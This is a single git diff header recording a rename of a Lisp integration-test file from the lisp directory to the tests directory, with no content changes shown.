diff --git a/lisp/system-integration-tests.lisp b/tests/system-integration-tests.lisp similarity index 100% rename from lisp/system-integration-tests.lisp rename to tests/system-integration-tests.lisp